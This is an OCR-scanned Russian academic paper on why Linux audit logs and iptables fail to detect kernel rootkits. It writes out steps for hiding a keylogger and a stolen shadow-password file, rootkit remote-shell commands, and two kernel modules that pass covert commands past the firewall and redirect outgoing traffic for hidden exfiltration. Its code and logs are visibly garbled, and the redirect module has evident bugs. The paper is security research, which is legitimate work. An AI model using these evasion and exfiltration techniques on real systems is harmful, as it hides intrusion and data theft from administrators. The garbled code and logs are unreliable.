CC BY-NC-ND
95
Я.А. Музыченко
НЕВИДИМОСТЬ РУТКИТОВ УРОВНЯ ЯДРА ДЛЯ СРЕДСТВ АУДИТА ОС LINUX*
Руткиты в настоящее время - один из самых опасных видов вредоносного программного обеспечения. Призванные обеспечить невидимость злоумышленника в системе, они очень скрыты, и задача их обнаружения на данный момент не имеет эффективного решения. В последнее время, по данным лаборатории Касперского, наблюдается рост популярности рут-китов. Этот рост связан с открытым распространением в Интернете исходных кодов многих руткитов, что позволяет любому вирусописателю без особого труда создавать свои собственные модификации. Невидимость для пользователя и невозможность обнаружения средствами защиты вполне открыто рекламируется как вирусописателями-нелегалами, так и разработчиками так называемого легального шпионского ПО. В данной статье проводится обоснование невидимости руткитов относительно средств аудита ОС Linux. Во-первых, невидимости руткита в самой системе. Во-вторых, приводятся методы, позволяющие производить невидимое управление руткитом удаленно.
Ключевые слова: информационная безопасность, ОС Linux, вредоносный код, руткит.
Организация системы протоколирования Linux
В Linux существует два демона, которые осуществляют ведение журнала событий, произошедших в системе. Эти демоны называются syslogd и klogd. Syslogd отвечает за протоколирование сообщений системы, а klogd - ядра. Отдельный демон для ядра пришлось создать, так как ядру недоступны функции пользова-
*Работа поддержана грантом РФФИ № 07-07-00236.
тельского режима и соответственно оно не может работать с sys-logd. Впрочем, по умолчанию вся информация, полученная klogd, передается демону syslogd. Эти демоны начинают работу на самых ранних стадиях загрузки системы и приступают к протоколированию. Прежде всего, syslog читает содержимое файла /etc/syslog. conf (конфигурационный файл с параметрами протоколирования). После этого syslog создает сокет (по умолчанию /dev/log), через который будет осуществляться запись, после чего сокет соединяется со всеми файлами журналов, упоминаемыми в файле /etc/sys-log.conf (или в другом конфигурационном файле, указанном в командной строке).
Любая запись в файлы логов производится на основании того, что процесс хочет записать и с каким уровнем серьезности. Обработка сообщений демоном syslogd состоит в том, что он постоянно отслеживает появление сообщений и сравнивает каждую пришедшую запись с правилами, которые находятся в файле /etc/syslog. conf. Системное сообщение состоит из строки текста, перед которой может идти код приоритета в угловых скобках (<>); коды приоритетов задаются в заголовочном файле <sys/syslog.h>.
Для того чтобы приложение передало сообщение демону sys-logd, используется библиотечная функция syslog, которая вызывает системный вызов syslog.
Klogd читает сообщения ядра (либо через /proc/kmsg, либо с помощью системных вызовов), определяет уровень, преобразует адреса команд в имена программ и передает сообщение syslogd. Далее syslogd записывает информацию, полученную от klogd, в каталог /var/log
По умолчанию демон klogd вызывается системным вызовом для того, чтобы препятствовать отображению всех сообщений на консоль. Это не распространяется на критические сообщения ядра (kernel panic). Эти сообщения все равно будут отображены на консоли.
Все сообщения от ядра и его модулей хранятся в кольцевом буфере, размер которого - 16 Кб по умолчанию. Для чтения кольцевого буфера можно использовать команду dmesg. Ядру недоступны стандартные функции пользовательского режима, поэтому для записи в кольцевой буфер оно использует специальную функцию printk.
В составе Linux используется стандартный конфигурационный файл /etc/syslog.conf. Этот файл содержит в себе записи, относящиеся к наиболее часто конфигурируемым службам, и указывает, какие файлы журналов, содержащиеся в каталоге /var/log, соответствуют этим службам. Фактически в этом файле определено, какие сообщения писать и в какие файлы их писать1.
Неспособность базовой системы протоколирования Linux обнаружить руткит уровня ядра
Для опыта была выбрана система ALTLinux с ядром версии 2.6. В качестве руткита использовался enyelkm 1.1. Руткит выполнен в виде модуля ядра. При загрузке в систему он вставляет операцию безусловного перехода в функцию-обработчик прерывания, используемого для системных вызовов. Руткит перехватывает эту функцию и системные вызовы без модификации таблицы системных вызовов.
Первое событие, подлежащее обнаружению, - это загрузка рутки-та в систему, при максимальном уровне протоколирования в системе. Для этого в файл syslog.conf записывается следующая строка: *.* /root/log_all
Все записи аудита идут в файл /root/log_all, для удобства просмотра.
перезапуск демонов с новыми параметрами #service syslogd restart
Stopping system logger service [DONE]
Starting system logger service [DONE]
#service klogd restart
Stopping kernel logger service [DONE]
Starting kernel logger service [DONE]
#
Запуск программы просмотра логов:
# tail -f /root/log_all Загрузка руткита:
# make install
При этом в журнале аудита не возникло никаких записей о том, что какой-то модуль загрузился в систему.
Следующий эксперимент - невидимость руткита и работающего кейлоггера, который руткитом скрывается. В качестве кейлогге-ра использовался lkl 0.1.0. Он записывает все, что проходит через порт клавиатуры (0х60).
Во время эксперимента аудит в системе по-прежнему выставлен на максимум, и все перенаправляется в файл /root/log_all. Кейлоггер скачан в директорию /home/guest/lkl. Все файлы, созданные в процессе сборки кейлоггера, записываются в эту же директорию:
# ./configure —prefix=/home/guest/lkl -bindir=/home/guest/lkl Каталог с кейлоггером скрывается с помощью руткита. Для
скрытия файла в его названии должна присутствовать определенная при сборке руткита строка, по умолчанию - HIDEAIT.
#mv lkl lklHIDEAIT
Процесс кейлоггера также скрывается:
# cp lkl lklHIDEAIT
Запуск кейлоггера. Вся собранная информация записывается в файл klogger_output
#./lklHIDEAlT -l -o klogger_output -k keymaps/us_km
Кейлоггер работает и перехватывает все, что вводится с клавиатуры. Однако его нет в списке выполняющихся процессов. Никаких записей в журнале аудита также не появляется.
Проверка регистрации в журнале аудита различных действий в системе, копирования файла с паролем пользователя. Был выбран файл с паролем пользователя guest. Файлы с данными о пользователях в ALTLinux организованы следующим образом. В файле /etc/passwd хранится вся информация о пользователях, кроме их паролей. Сами пароли в захэшированном виде лежат в каталоге /etc/tcb. Причем для каждого пользователя там создан отдельный каталог, названный именем пользователя, и в каждом из каталогов находится файл shadow с хэшем пароля конкретного пользователя. Так, абсолютное имя файла с хэшем пароля пользователя guest следующее: /etc/tcb/guest/shadow. Имя с хэшем пароля суперпользователя - /etc/tcb/root/shadow. При этом владельцем файла является пользователь, чей хэш в этом файле хранится. Файл с паролем пользователя guest копируется в каталог с кейлоггером:
#cp /etc/tcb/guest/shadow /home/guest/lklHIDEAIT/1
#
Операция прошла успешно, и файл «1» с хэшем пароля пользователя guest оказался в скрытой директории. При этом в журнале аудита опять не появилось никакой записи о недозволенных действиях.
Таким образом, базовые средства протоколирования Linux не способны выявить деятельность руткита уровня ядра.
Однако руткит, даже успешно внедренный в систему, бесполезен без интерфейса удаленного управления им. Требуется проверить, будет ли невидимой операция управления руткитом относительно средств аудита.
Вообще большая часть исследуемых мной руткитов очень нестабильно работают на ядре Linux 2.6. Наиболее стабильные результаты показали два руткита - enyelkm, разработанный испанской командой www.enye-sec.org, и WKMR26, созданный российскими разработчиками с www.xndcrew.org. При этом утилиту управления руткитом имеет только первый.
Вот последовательность действий, которую осуществляет рут-кит enyelkm, когда к машине-жертве подключаются удаленно.
На машину-жертву посылается ICMP эхо-запрос, в поле данных которого передается ключевое слово - название руткита.
С машины-жертвы отправляется аналогичный ICMP эхо-ответ. Руткит открывает TCP-сессию с атакующей машиной, обращаясь на порт 8822 (по умолчанию). Порт на машине-жертве каждый раз открывается разный.
Открывается шелл с правами суперпользователя. Команды передаются в поле данных tcp пакета.
Тест на отслеживание подключения к машине-жертве с помощью системы протоколирования.
Для этого используется штатный брандмауэр Linux - iptables. IP-адрес атакующей машины - 10.0.1.200, ip-адрес машины-жертвы - 10.0.1.201.
Надо создать два правила для контроля трафика: Отслеживание входящих пакетов с атакующей машины на машину-жертву:
#iptables -A INPUT -s 10.0.1.200 -d 10.0.1.201 -j LOG -loglevel notice
Отслеживание исходящих пакетов с машины-жертвы на атакующую машину:
#iptables -A OUTPUT -s 10.0.1.201 -d 10.0.1.200 -j LOG -loglevel notice
При протоколировании iptables использует канал kern, сообщения сохраняются в /var/log/kernel/info Просмотр файла протоколирования: #tail -f info
Подключение руткитом: #./connect 10.0.1.201
Запись в журнале аудита появляется, фиксируется обмен пакетами между машинами. При этом сетевого соединения при выводе netstat нет.
Следующий эксперимент - с руткитом WKMR26. Поскольку у него нет системы управления, был использован стандартный ssh. Для удаленного управления на машине-жертве ssh скопирован в скрытую директорию, переименован в connect. Подключение к атакующей машине:
#./connect guest@10.0.1.200 Скрытие процесса connect: Пароль для активации руткита: $ echo > /proc/qwerty Получение прав суперпользователя: $ echo > /proc/givemeroot Скрытие процесса connect: $ echo > /proc hide+7378
Однако в журнале аудита фиксируется факт обмена пакетами.
Но следует отметить, что в данном эксперименте было известно, с какого конкретно ip-адреса идут пакеты, и в журнал аудита записывались пакеты именно с этого адреса. В реальной же ситуации, как правило, происходит значительная сетевая активность, и обмен пакетами между машиной-жертвой и атакующей машиной просто потеряется в мегабайтных логах, если администратор задумает таким образом выявлять руткит.
Метод обхода FIREWALL для входящего трафика
При прохождении пакета в ядре ОС Linux для обхода межсетевого экрана два момента:
все пакеты, приходящие в систему, попадают в буфер в ядре Linux, где представляются двусвязным списком структур sk_buff;
при прохождении пакета он последовательно обрабатывается несколькими функциями-обработчиками пакетов, в том числе и межсетевым экраном2.
Метод обхода межсетевого экрана заключается в том, чтобы написать свою собственную функцию обработки пакетов, которая внедрится в очередь функций-обработчиков до межсетевого экрана и будет уничтожать пакет до того, как тот попадет к межсетевому экрану. Таким образом, программа будет получать информацию из пакета, но брандмауэр не будет видеть совершенно никакой сетевой активности.
Зарегистрировать свой собственный обработчик пакетов можно с помощью функции dev_add_pack. Функция-обработчик может иметь любое название, возвращать int и должна принимать три аргумента: указатели на структуры sk_buff , net_device и packet_type3.
Далее следует модуль ядра, который регистрирует новый обработчик пакетов. Задача обработчика пакетов следующая: при поступлении пакета с определенного ip-адреса вывести об этом сообщение, а потом уничтожить пакет до его обработки брандмауэром. Непосредственно разыменовать пакет мне не удалось, но я смог его «испортить», с тем чтобы он был уничтожен следующим обработчиком. Таким образом, пакет с заданного ip-адре-са служит «ключом» для совершения какого-либо действия в системе.
/*
* packet_interceptor.c
* программа, создающая и регистрирующая в ядре новый обработчик сетевых *пакетов
*/
#include <linux/init.h> #include <linux/module.h> #include <linux/skbuff.h> #include <net/ip.h> #include <linux/netdevice.h> #include <linux/inet.h>
struct sk_buff *skb; struct packet_type pt;
/* Функция, которая просматривает все сетевые пакеты в ядре и при поступлении *пакетов с определенного адреса, совершает действие в системе (выводит *сообщение) и уничтожает пакет. Все это происходит до того, как пакет будет *обработан межсетевым
экраном
*/
int my_handler(struct sk_buff *buf, struct net_device *dev,
struct packet_type *pt ){
unsigned long int source_ip = in_aton("10.51.18.183");
if ((buf->nh.iph->saddr)==source_ip){/если пакет с заданного ip
printk ("packet from attaker\n");
memset (buf->data, 0, buf->len); //уничтожение пакета }
kfree_skb (buf); return 0;
}
int init_module () {
printk ("packet intercepter loaded\n"); //Заполняем структуру packet_type
pt.func=my_handler; //функция-обработчик пакетов, ко-
торую //надо зарегистрировать
pt.dev=NULL; //для всех сетевых интерфейсов
pt.type=htons(ETH_P_ALL); //для всех пакетов dev_add_pack(&pt); //регистрация в ядре новой функции-//обработчика пакетов return 0;
}
void cleanup_module () {
printk ("packet intercepter unloaded\n"); dev_remove_pack(&pt); //удаление новой функции
}
MODULE_LICENSE ("GPL'); MODULE_AUTHOR ("GektOr");
Создание правила брандмауэра для фиксации пакетов с заданного ip-адреса (атакующей машины):
#iptables -A INPUT -s 10.51.18.183 -d 10.51.18.166 -j LOG
-log-level notice #
Загрузка модуля:
#insmod packet_interceptor.ko
При загрузке он выводит сообщение, которое видно в логах:
ta 1 оса f host; vai I о ij. kernel
Далее посылаются пакеты с атакующей машины на машину с загруженным обработчиком пакетов (простым пингом):
:\Docunents and Settings\root>ping 18.51.18.166 j
Збнек пакета»« с 18.51.18.166 по 32 байт: j
]ревшен интервал ожидания для запроса. 1
]ревьшен интервал о*адання для запроса. !
1реешек интервал отдания а ля запроса. ;
1рев*шен интервал оклдания для запроса. j
¡татнстнка Ping для 10.51.18.166: j
Пакетов: отправлено ~ 4, получено = 8, потеряно = 4 (ШШ потерь), j
-\Dociments and $ettintfs\root> j
Как видно, ICMP-пакеты не возвращаются, потому что обработчик в ядре Linux уничтожает все пакеты с данного ip-адреса. Однако эти пакеты доходят до обработчика, и он совершает определенные действия в системе:
[root@localhost kit]# dmesg Packet intercepter loaded Packet from attacker Packet from attacker Packet from attacker Packet from attacker
[root@localhost kit]#
root@localhosts: /var/log/kernel
Видно, что отмечено 4 пакета, ровно столько, сколько отправлялось с атакующей машины.
В то же время в журнале аудита не появляется никакой информации:
[root@localhost kernel]# > info [root@localhost kernel]#
[root@localhost kernel]# tail -f info
root@localhosts: /var/log/kernel
Таким образом, можно сделать следующий вывод: в ОС Linux можно удаленно подавать команды на совершение каких-либо действий так, что межсетевой экран не будет видеть никакого обмена пакетами. Можно разработать систему команд руткиту, которая позволит им управлять незаметно для штатной системы защиты Linux. Скрытность достигается за счет того, что наши пакеты обрабатываются функцией-шпионом в ядре Linux, а потом уничтожаются, так что система и не подозревает о том, что пакеты приходили. То есть межсетевого экрана для атакующего, по сути, не существует.
Метод обхода Firewall для исходящего трафика
Вышеописанный метод обхода брандмауэра эффективен, но действует только для входящего трафика. Мой обработчик пакетов никак не реагировал на исходящий трафик, так как он идет по другому маршруту. Повторюсь, пакет на своем пути проходит несколько функций-обработчиков. Приняв пакет нашей функцией, можно уничтожить его, и последующие функции его не увидят. Исходящий же пакет уничтожать нет смысла, так как он должен уйти в сеть. И исходящий пакет все равно пройдет все функции-обработчики, включая и межсетевой экран. Однако злоумышленник может зарегистрировать свою функцию - обработчик пакетов и вставить ее на любой точке маршрута прохождения пакета. Предлагаемый мною метод заключается в том, чтобы вставить функцию в самом конце маршрута, когда пакет уже пройдет межсетевой экран. Тут можно этот пакет модифицировать и отправить по нужному маршруту. Если брать очень маленькую долю проходящих пакетов, то утечка трафика будет незаметной. А межсетевой экран не будет регистрировать никакой подозрительной сетевой активности, потому что весь трафик, проходящий через него, легальный.
Вот код модуля, который перехватывает все пакеты, идущие по адресу 192.168.42.1, и направляет их по адресу 192.148.42.99. Цель модуля - показать возможность манипулирования исходящими пакетами незаметно для межсетевого экрана: #include <linux/init.h> #include <linux/module.h> #include <linux/netfilter.h> #include <linux/skbuff.h> #include <linux/netfilter_ipv4.h> #include <net/ip.h> #include <linux/inet.h> #include <linux/socket.h>
struct nf_hook_ops nf_outgoing; //New hook function:
unsigned int new_hook(unsigned int hooknum, struct sk_buff **skb,
const struct net_device *dev, int (*okfn)(struct sk_buff*)){
struct sk_buff *buf = *skb;
unsigned long attack_ip = in_aton ("192.168.42.1"); unsigned long new_ip = in_aton ("192.148.42.99");
if ((buf->nh.iph->daddr)==attack_ip){ struct sk_buff *newbuff;
newbuff = (struct sk_buff * )kmalloc(sizeof(&buf), GFP_KERNEL);
memcpy (&newbuff, &buf, sizeof(&buf));
newbuff->nh.iph->daddr=new_ip;
printk ("ourhook1\n"); return NF_ACCEPT;
}
return NF_ACCEPT;
}
int init_module (){
nf_outgoing.hook = new_hook; nf_outgoing.pf = PF_INET;
nf_outgoing.hooknum = NF_IP_LOCAL_OUT; //для исходящих пакетов
nf_outgoing.priority = NF_IP_PRI_LAST; //функция стоит последней в //списке обработчиков
nf_register_hook(&nf_outgoing); //регистрация новой функции
printk ("Hook registered\n"); return 0;
}
MODULE_LICENSE("GPL'); NODULE_AUTHOR ("GektOr");
В результате загрузки этого модуля все пакеты, которые посылались на адрес 192.148.42.1, были перенаправлены на 192.148.42.99, причем в логах межсетевого экрана - запись о том, что пакет ушел на адрес 192.148.42.1.
ftpr 25 04:52:30 padl kernel: IN= QUT=eth0 SR0192« 168*42,129 DST=192*168*42*99 L EN=84 U)S=0x00 PREC=0x00 TTL=64 10=0 DF PR0T0=ICMP TYPE=8 C0DE=0 10=43036 SEQ=4 ftpr 25 04:52:30 padl kernel: ourhookl
ftpr 25 04:54:06 padl kernel: Hook unregistered
ftpr 25 04:54:08 padl kernel: set_rtc_f«ross: can't update from 1 to 54 ftpr 25 04:54:35 padl last message repeated 13 times ftpr 25 04:54:35 padl kernel: Hook registered Apr 25 04:54:41 padl kernel: setj,vtc_romss: can't update from Apr 25 04:54:43 pad! last message repeated 2 times Apr 25 04:54:44 pad! kernel: IN= 0UT=eth0 SRC=192,188,42.129 N=84 T0S=0x00 PREC=0x00 TTL=64 10=0 OF PR0TD=ICMP TYPE=3 CODE ftpr 25 04:54:44 padl kernel: ourhookl
Apr 25 04:54:45 padl kernel: IN= 0UT=eth0 SRC=192*188*42*129 N=84 TDS=0x00 PREC=0x00 TTL=64 10=0 DF PR07U=ICMP TYPE=8 CODE Apr 25 04:54:45 padl kernel: ourhookl
ftpr 25 04:54:46 padl kernel: set_rtc_m$$: can't update from 2 to 54 ftpr 25 04:54:59 padl last message repeated 7 times ftpr 25 04:55:00 padl kernel: set_rtc_mross: can't update from 2 to 55 ftpr 25 04:55:15 padl last message repeated 8 times Apr 25 04:55:16 padl kernel: set_rtc_roross: can't update from 3 to 55 Apr 25 04:55:48 padl last message repeated 17 times Apr 25 04:55:49 padl kernel: set„rtc„mmss: can't update from 3 to 55 Apr 25 04:55:52 padl kernel: set_rtc_roinss: can't update from 4 to 55
На скриншоте - лог, в котором написано, что пакеты ушли на адрес 192.168.42.1.
№ Time MAC source MAC dest Frame Protocol IP source IP dest S Port D Port Size
1 3h:8m: 28s:599ms 00.0C.29. 65.AC.1D 00.50.56. C0.00.01 DCD IP (08...) 192.168.42.129 192.168.42.99 98
2 3h:8m: 30s:518ms 00.0C.29. 65.AC.1D 00.50.56. C0.00.01 DCD IP (08.) 192.168.42.129 192.168.42.99 98
На этом скриншоте - запись анализатора сети с данными, куда на самом деле ушли пакеты - на адрес 192.168.42.99.
Таким образом, данный код показывает возможность модификации части исходящего трафика так, что он будет идти туда, куда нужно злоумышленнику. Можно в пакете закодировать информацию, собранную руткитом и шпионскими программами, которые руткит скрывает. Если красть очень незначительную часть трафика, то утечка будет незаметна, и в логах Firewall не будет никакой записи об этом трафике.
Заключение
Автор считает, что в данной работе новыми являются следующие положения и результаты:
- экспериментальное обоснование того, что базовые средства протоколирования Linux не способны выявить признаки деятельности руткита уровня ядра;
- экспериментальное обоснование способа подавать команды руткиту так, что эти команды будут абсолютно невидимы для системы аудита Linux. Причем пакеты можно посылать на закрытые порты, они все равно дойдут до руткита совершенно не замеченными межсетевым экраном;
- экспериментальное обоснование способа посылать данные от руткита так, что межсетевой экран не будет регистрировать никакого нелегального трафика. Весь трафик в журнале аудита будет абсолютно легальным, но на самом деле некоторая его часть модифицируется руткитом, содержит нужные злоумышленнику данные и идет по заданному злоумышленником маршруту.
Примечания
1 Бэндл Д. Защита и безопасность в сетях Linux. СПб.: Питер, 2002.
2 Песин И. Повесть о Linux и управлении трафиком [Электронный ресурс] // Сайт «Linux Gazette». [М., 2008]. URL: http://gazette.linux.ru.net/ rus/arti-cles/taleLinuxTC,html (дата обращения: 19.12.08).
3 Пахаренко Г. Реализация сети в операционной системе Linux на примере ядра 2.4.7 из дистрибутива RedHat7.2 «Enigma» [Электронный ресурс] // Сайт «ЦИТ Форум». [М., 2008]. URL: http:/www.citforum. ru/operating_systems/ linux/linuxnet/ (дата обращения: 19.12.08).
